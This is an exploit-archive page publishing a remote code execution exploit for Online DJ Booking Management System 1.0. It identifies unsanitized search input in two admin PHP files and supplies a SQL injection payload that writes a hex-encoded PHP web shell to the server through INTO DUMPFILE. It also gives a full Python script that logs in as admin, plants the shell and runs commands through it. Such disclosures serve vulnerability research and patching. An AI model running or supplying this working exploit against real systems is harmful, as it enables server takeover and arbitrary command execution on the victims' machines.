what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Online DJ Booking Management System Project Report 1.0 SQL Injection / Code Execution

Online DJ Booking Management System Project Report 1.0 SQL Injection / Code Execution
Posted Jul 12, 2020
Authored by gh1mau

Online DJ Booking Management System Project Report version 1.0 remote SQL injection exploit that achieves code execution.

tags | exploit, remote, code execution, sql injection
SHA-256 | 2f7e394601dd1cd3ea2d43b2b5920d110f9cee4c9f13bb6fe13e628a829cc026

Online DJ Booking Management System Project Report 1.0 SQL Injection / Code Execution

Change Mirror Download
# Exploit Title: Online DJ Booking Management System Project Report - RCE Through SQLi (Authenticated User - admin)
# Date: 2020-07-12
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/online-dj-booking-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=11402
# Version: V1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Vulnerable File:
----------------
1) /admin/user-search.php
2) /admin/booking-search.php


Vulnerable Code:
----------------

1) /admin/user-search.php
line 58: $sdata=$_POST['searchdata'];

2) /admin/booking-search.php
line 58: $sdata=$_POST['searchdata'];


Vulnerable Issue:
-----------------
Both line 58: $sdata=$_POST['searchdata']; (/admin/user-search.php and /admin/booking-search.php ) has no proper sanitization

POC:
----
[+] Inject the following payload inside the Search form

-1' UNION ALL SELECT 0x3c3f7068702073797374656d28245f524551554553545b276768316d6175275d293b203f3e,NULL,NULL,NULL,NULL,NULL,NULL INTO DUMPFILE 'C:/UwAmp/www/odms/1.php'-- -


Python Script POC:
------------------

import requests

#this script is for POC purpose, you could add your own error checking mechanism

username = "admin"
password = "Test@123"
webshellPayload = "0x3c3f7068702073797374656d28245f524551554553545b276768316d6175275d293b203f3e"
path = "%27C%3A%2FUwAmp%2Fwww%2Fodms%2F1.php%27"
command = "whoami"

print("[+] Stage 1 : Login as admin")

url1 = "http://localhost:80/odms/admin/login.php"

payload1 = "username=" + username + "&password=" + password + "&login="
headers1 = {
"Origin": "http://localhost",
"Cookie": "PHPSESSID=arrhodq9mhfjsu1utb5j59s1k2",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Connection": "close",
"Referer": "http://localhost/odms/admin/login.php",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5",
"Content-Length": "41",
"Content-Type": "application/x-www-form-urlencoded"
}

requests.request("POST", url1, data=payload1, headers=headers1)


print("[+] Stage 2 : Injecting Web Shell")


url2 = "http://localhost:80/odms/admin/user-search.php"

payload2 = "searchdata=-1%27+UNION+ALL+SELECT+" + webshellPayload + "%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL+INTO+DUMPFILE+" + path + "--+-&search="
headers2 = {
"Origin": "http://localhost",
"Cookie": "PHPSESSID=arrhodq9mhfjsu1utb5j59s1k2",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Connection": "close",
"Referer": "http://localhost/odms/admin/user-search.php",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5",
"Content-Length": "46",
"Content-Type": "application/x-www-form-urlencoded"
}

requests.request("POST", url2, data=payload2, headers=headers2)



print("[+] Stage 3 : Run command\n")

url3 = "http://localhost:80/odms/1.php?gh1mau=" + command

payload3 = ""
headers3 = {
"Cookie": "PHPSESSID=arrhodq9mhfjsu1utb5j59s1k2",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Connection": "close",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5"
}

response = requests.request("GET", url3, data=payload3, headers=headers3)

print(response.text)
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close